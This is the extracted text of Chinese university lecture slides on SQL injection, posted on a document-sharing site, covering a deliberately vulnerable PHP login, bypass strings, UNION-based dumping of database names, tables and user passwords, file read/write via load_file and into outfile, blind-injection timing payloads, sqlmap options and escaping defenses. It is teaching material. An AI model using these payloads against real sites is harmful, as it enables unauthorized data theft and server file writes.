版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Web应用安全第八章Web服务器端安全--8.1SQL注入漏洞原理与防御2本节要求1掌握SQL注入的基本原理2理解SQL注入的一般利用方式3理解SQL注入漏洞探测的一般方法4理解SQL注入漏洞防护方法3SQL注入基本原理一个SQL注入例子输入正常账号信息:201909001/zs123456特殊ID:1or1;--(空格)/任意字符串
输入特殊字符后,居然能够任意用户登录系统?原因:系统存在SQL注入漏洞观察现象万能密码:任意数字/a'or'a'='a特殊ID:201909002;--(空格)/任意字符串
4一个例子代码分析SQL注入基本原理$id=$_POST['id'];//获取用户输入的ID号$pass=$_POST['pass'];//获取用户输入的密码//构造SQL语句$query="select*fromstudentswhereid={$id}andpassword='{$pass}'";$result=mysqli_query($db,$query);......正常账号信息:
201909001/zs123456select*fromstudentswhereid=201909001andpassword='zs123456'
异常账号:
1or1--(空格)/aselect*fromstudentswhereid=1or1;--andpassword='a'教材:P171-172页5SQL注入基本原理SQL注入漏洞发现历程第一篇SQL注入的文章1998年NTWebTechnologyVulnerabilities,Phrackmagazine,Volume8,Issue54DecRainForestPuppy—雨林小子?雨林小狗?雨林青年?第一篇SQL注入的实战文章2001年HowIhackedPacketStorm–AlookathackingwwwthreadsviaSQLRainForestPuppy第一次提出盲注入2002年ChrisAnley、Ofer
Maor
andAmichai
Shulman宽字节注入、二阶SQL注入、自动化利用工具、......JeffForristal6SQL注入定义CWE-89:ThesoftwareconstructsallorpartofanSQLcommandusingexternally-influencedinputfromanupstreamcomponent,butitdoesnotneutralizeorincorrectlyneutralizesspecialelementsthatcouldmodifytheintendedSQLcommandwhenitissenttoadownstreamcomponent.通俗定义:用户输入变成SQL语句或改变原来SQL语句的语义了,就造成了SQL注入漏洞。示例:select*fromstudentswhereid=$idandpass=‘$pass’SQL语句拼接时,使用了用户输入的数据SQL注入关键因素SQL注入基本原理7UNION语句提取数据UNION前后SELECT语句的列数必须相等。[SELECT语句1]UNION[SELECT语句2]SQL注入利用方式绕过系统身份认证—登录演示系统结果核心思想:执行攻击者构造的SQL语句攻击者数据可变成可执行代码8UNION语句提取数据SQL注入利用方式orderby确定表列数201909001orderby1;--确定列数为3列select*fromstudentswhereid=201909001orderby1;--andpassword='a';9UNION语句提取数据SQL注入利用方式确定输出数据-1unionselect1,2,3;--select*fromstudentswhereid=-1
unionselect1,2,3;--2号位为数据输出位置10UNION语句提取数据SQL注入利用方式确定当前用户和数据库-1unionselect1,user(),3;--select*fromstudentswhereid=-1unionselect1,user(),3;---1unionselect1,database(),3;--select*fromstudentswhereid=-1unionselect1,database(),3;--11UNION语句提取数据SQL注入利用方式输出数据库中表的内容-1unionselect1,id,3fromebank2022.users;---1unionselect1,pass,3fromebank2022.users;--如何提取一条完整记录?12UNION语句提取数据SQL注入利用方式输出数据库中表的内容—完整记录使用concat函数—将字符串连接起来—0x20表示空格selectconcat(id,0x20,name,0x20,pass,0x20,number)fromebank2022.users;-1unionselect1,concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.users;--13UNION语句提取数据SQL注入利用方式输出数据库中表的内容—任意记录-1unionselect1,id,3fromebank2022.userslimit1,1;---1unionselect1,pass,3fromebank2022.userslimit1,1;--获取完整记录信息?-1unionselect1,concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.userslimit1,1;--第二条记录信息14UNION语句提取数据SQL注入利用方式输出数据库中表的内容—所有记录使用group_concat函数—将多列数据转换为连接起来的字符串,多条记录之间自动使用逗号隔开—0x20表示空格selectgroup_concat(id,0x20,name,0x20,pass,0x20,number)fromebank2022.users;-1unionselect1,group_concat(id,0x20,name,0x20,pass,0x20,number),3fromebank2022.users;--15UNION语句提取数据SQL注入利用方式输出数据库中表的内容—几个关键问题问题1:攻击者如何知道数据库名?如ebank2022,数据库系统中还有没有其他的数据库?问题2:攻击者如何知道具体数据库中的表名?如ebank2022.users,数据库还有没有其他的数据表?问题3:攻击者如何知道具体数据库中的表名中的字段名?如ebank2022.users表中id,name字段名等?解决问题的基本方法:(1)依靠数据库系统表(不同数据库不一样):(2)暴力猜测(自学内容)16UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-
information_schema所有数据库名:schemata表中的schema_name字段selectschema_namefrominformation_schema.schemata;小皮系统MySQL数据库配置文件my.inicollation-server=utf8_unicode_ci调整为collation-server=utf8_general_ci然后重新导入grade.sql文件否则SQL注入时会报错:Illegalmixofcollationsforoperation'UNION'17UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-information_schema获取所有数据库名-schemata表中的schema_name字段-1unionselect1,group_concat(schema_name),3frominformation_schema.schemata;--18UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-information_schema所有数据表名selecttable_namefrominformation_schema.tableswheretable_schema='ebank2022';information_schema.tables—table_name表示表名table_schema--表对应的数据库名19UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-information_schema所有数据表名-1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema='ebank2022';--20UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-information_schema所有字段名selectcolumn_namefrominformation_schema.columnswheretable_schema='ebank2022'andtable_name='users';information_schema.columns—所有字段名表table_schema—字段对应的数据库名table_name—字段对应的表名21UNION语句提取数据SQL注入利用方式MySQL数据库系统数据库-information_schema所有字段名-1unionselect1,group_concat(column_name),3frominformation_schema.columnswheretable_schema='ebank2022'andtable_name='users';--22SQL注入利用方式UNION语句读/写文件提醒:配置my.ini配置文件中的secure_file_priv配置项读取文件内容—load_file函数selectload_file('c:/tmp/a1.txt');友情提醒:文件路径中的使用斜杠,而不是反斜杠23SQL注入利用方式UNION语句读/写文件读取文件内容—load_file函数-1unionselect1,load_file('c:/tmp/a1.txt'),3;--(空格)24SQL注入利用方式UNION语句读/写文件写入文件内容—intooutfile命令select'abc',123,'ok'intooutfile'c:/tmp/test.txt';25SQL注入利用方式UNION语句读/写文件写入文件内容—intooutfile命令-1unionselect'Astring','Bstring','Cstring'intooutfile'c:/tmp/b.txt';--26SQL注入利用方式其他利用方式?堆叠查询?--一次可以执行多条SQL语句,PHP语言的multi_query函数;PostgreSQL数据库堆叠查询执行操作系统命令?--SQLServerxp_cmdshell存储过程中执行操作系统命令;MySQL数据库UDF机制执行操作系统命令?INSERT\UPDATE\DELETE语句等SQL注入利用?......27SQL注入漏洞分类*示例:select*fromuserswhereid=$idandpass=‘$pass’SQL语句拼接时,使用了用户输入的数据SQL注入关键因素SQL注入分类数字型SQL注入:拼接的字段为数值,如$id字符型SQL注入:拼接的字段为字符串,如$pass欢迎登录演示程序中的密码字段,同样存在SQL注入漏洞,如何利用?--自行探索分析—需要注意引号闭合的问题输入ID:123密码:a’or‘a’=‘a万能密码?28SQL注入漏洞分类SQL注入分类基于错误信息SQL注入SQL盲注入任意输入的输出信息都是一样或变化不大的如果在响应信息中不能够直接体现SQL注入攻击效果,则需要采取一种间接方法来检验攻击效果,称为SQL盲注入29if((!empty($_POST['id']))&&(!empty($_POST['pass']))){try{$id=$_POST['id'];//获取用户输入的ID号
$pass=$_POST['pass'];//获取用户输入的密码
$db=mysqli_connect("","root","123456","grade");if(!$db)exit("连接数据库错误!<br>");//构造SQL语句
$query="select*fromstudentswhereid={$id}andpassword='{$pass}'";$result=mysqli_query($db,$query);$data=mysqli_fetch_assoc($result);if(!$data){thrownewException("数据异常",111);}$getid=$data['id'];$getpass=$data['password'];if(($getid!=$id)||($getpass!=$pass)){thrownewException("数据异常",111);}elseprint("欢迎{$data['name']}成功登录系统!");}catch(Exception$e){print("登录失败!");}}SQL注入漏洞分类SQL注入分类SQL盲注入教材:P179-18030SQL注入漏洞分类SQL注入分类SQL盲注入布尔型盲注入201909001or1=1;--201909002or1=2;--参数拆分和平衡201909001=201909000+1abc=concat('a','bc')时间型盲注—sleep、benchmark函数等10orsleep(5);--10orbenchmark(10000000,sha1('aaaaa'));--31SQL注入漏洞探测一般过程识别数据输入点显性数据输入点隐性数据输入点HTTP头信息如Cookie、HOST、Referer、User-Agent等隐藏字段信息FORM表单GET数据POST数据如隐藏的折扣信息等32寻找SQL注入点通过操纵数据输入,并通过反馈判断是否存在SQL注入点GET参数直接修改POST参数、HTTP头、隐藏参数等通过浏览器扩展或代理服务器修改http:///sqli/t1-1.php?id=201909001&pass=123456修改的基本方法数字型:使用“+”号(对应URL编码%2b)字符型:使用“’”号http:///sqli/t1.php?id=201909000%2b1&pass=123456http:///sqli/t1.php?id=201909001&pass=123456'SQL注入漏洞探测一般过程33终止式输入测试输入值:注释符号,如--%20、#(URL编码%23)1001;--(最后有一个空格)a‘or’a‘=’a‘;#(最后有一个空格)SQL注入漏洞探测一般过程34SQL注入漏洞探测自动化工具SQLMAP工具Python语言环境35SQLMAP工具主要参数的含义-uURL,--url=URLTargeturl--method=METHODForceusageofgivenHTTPmethod(e.g.PUT)--data=DATADatastringtobesentthroughPOST--cookie=COOKIEHTTPCookieheadervalue--user-agent=AGENTHTTPUser-Agentheadervalue--host=HOSTHTTPHostheadervalue--proxy=PROXYUseaproxytoconnecttothetargetURL--dbms=DBMSForceback-endDBMStothisvalue--level=LEVELLevelofteststoperform(1-5,default1)--risk=RISKRiskofteststoperform(1-3,default1)--current-userRetrieveDBMScurrentuser--current-dbRetrieveDBMScurrentdatabase--dbsEnumerateDBMSdatabases--tablesEnumerateDBMSdatabasetables--columnsEnumerateDBMSdatabasetablecolumns--schemaEnumerateDBMSschema--countRetrievenumberofentriesfortable(s)--dumpDumpDBMSdatabasetableentries--dump-allDumpallDBMSdatabasestablesentries--batchNeveraskforuserinput,usethedefaultbehaviourSQL注入漏洞探测自动化工具36SQL注入漏洞探测自动化工具SQLMAP工具探测SQL注入漏洞37查看所有数据库名--dbsSQL注入漏洞探测自动化工具SQLMAP工具38查看特定数据库中的所有表名—D\tablesSQL注入漏洞探测自动化工具SQLMAP工具39获取特定数据库中特定表中的字段信息—columns\D\TSQL注入漏洞探测自动化工具SQLMAP工具40获取特定数据库中特定表中的所有记录信息--dumpSQL注入漏洞探测自动化工具SQLMAP工具41SQL注入漏洞防护转义操作基本思想:有一些特殊的输入字符(如单引号等)影响了SQL语句的语义,通过对这些字符进行转义,就可以消除这些影响。$id=addslashes($id);$pass=addslashes($pass);42SQL注入漏洞防护数据验证—正则表达式匹配基本思想:建
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024版国际运输货物买卖合同
- 2024网络安全服务合同责任界定
- 二零二五年度校园绿化维护合作协议2篇
- 二零二五年度交通设施安全隐患排查合同3篇
- 2024年采购协议:物资买卖与支付方式
- 二零二五年度搬家搬运与旧物回收利用合同3篇
- 2024年连锁店加盟合同
- 2024年生物样本库共建及使用权转让合同
- 2025年度森林防火绿化种植承包合同范本2篇
- 2025年35KV变电站施工总承包施工期间环境保护与恢复合同3篇
- 基于CAN通讯的储能变流器并机方案及应用分析报告-培训课件
- 外科医师手术技能评分标准
- 保姆级别CDH安装运维手册
- 采购控制程序
- 菌草技术及产业化应用课件
- GB∕T 14527-2021 复合阻尼隔振器和复合阻尼器
- 隧道二衬、仰拱施工方案
- 颤病(帕金森病)中医护理常规
- 果胶项目商业计划书(模板范本)
- 旋挖钻成孔掏渣筒沉渣处理施工工艺
- 安全资料目录清单
评论
0/150
提交评论